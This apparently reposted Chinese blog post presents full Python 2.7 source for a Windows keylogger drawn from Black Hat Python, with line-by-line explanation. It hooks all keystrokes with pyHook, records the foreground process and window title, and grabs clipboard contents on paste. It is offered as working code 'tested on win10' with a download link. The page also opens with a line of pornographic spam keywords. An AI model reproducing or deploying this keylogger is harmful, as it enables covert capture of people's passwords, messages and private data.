日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

windows 键盘记录器(win10下测试成功)

發布時間:2023/12/3 windows 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 windows 键盘记录器(win10下测试成功) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

源碼很簡單,主要就是python黑帽子中鍵盤記錄器的內容。
操作系統環境是win10 64位,環境python2.7,
用到的第三方庫pyHook,pythoncom,win32clipboard。這三個庫文章最后有資源。
先看運行效果

從上圖中可以清楚看到,首先我在記事本中輸入了一些文字,接著打開了Edge瀏覽器,在百度中搜索了一些內容。

下面是源碼

# coding=utf-8 from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Nonedef get_current_process():# 獲得前臺窗口句柄hwnd = user32.GetForegroundWindow() #1# 獲得進程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid)) #2# 保存當前的進程IDprocess_id = "%d" % pid.value# 申請內存executable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) #3psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #4# 讀取窗口標題window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title),512) #5# 輸出進程相關信息printprint "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) #6print# 關閉句柄kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)

第一部分,定義了一些變量和一個函數get_current_process()。
這個函數的功能時獲取當前活動的窗口及對應的進程ID。
在這個函數中。
#1 先調用GetForeGroundWindow函數。返回桌面上當前活動窗口的句柄。
#2 將上面獲得的句柄作為參數調用GetWindowThreadProcessId。它返回對應的進程ID。
#3 打開進程,返回當前進程句柄。
#4 利用返回的句柄,獲得進程對應的可執行文件的名字。
#5 通過調用GetWindowTextA函數,獲得窗口標題欄中顯示的文本字符。
#6 將所有的信息通過一種格式進程輸出。

下面,完成鍵盤記錄器的核心代碼

def KeyStroke(event):global current_window # 檢查目標是否切換了窗口if event.WindowName != current_window: #1current_window = event.WindowName get_current_process()# 檢測按鍵是否為常規按鍵(非組合鍵等)if event.Ascii > 32 and event.Ascii < 127: #2print chr(event.Ascii),else:# 如果輸入為CTRV-V,則獲得剪貼板內容if event.Key == "V": #3win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,# 返回直到下一個鉤子事件被觸發return True# 創建和注冊鉤子函數管理器 kl = pyHook.HookManager() #4 kl.KeyDown = KeyStroke #5# 注冊鍵盤記錄的鉤子,然后永久執行 kl.HookKeyboard() #6 pythoncom.PumpMessages()

#4 定義了pyHook的HookManager管理器。
#5 將自定義的回調函數KetStroke 與 KeyDown事件進行了綁定。
#6 通過PyHook鉤住了所有的按鍵事件,當目標按下鍵盤上的一個鍵時,KeyStroe函數就會被調用,它的參數時觸發這個事件的對象。

#1 在這個函數中我們首先要做的時檢查用戶是否切換了窗口,如果切換了窗口,我們需要重新獲取當前窗口的名字及進程信息。

#2 我們檢查按鍵是否在可輸出的ASCII碼范圍之內,如果是,輸出即可,如果按鍵是修飾鍵(如Shift/Ctrl或Alt鍵)或其他非標準的按鍵,那么我們從事件的對象中提取按鍵的名稱。

#3 我們檢查用戶是否在進行粘貼操作,如果是,我們提取剪貼板中的內容。
最后回調函數返回True來允許執行隊列中的下個hook事件。

其中用到的第三方庫和源碼
https://download.csdn.net/download/weixin_39318421/12654631下載

總結

以上是生活随笔為你收集整理的windows 键盘记录器(win10下测试成功)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。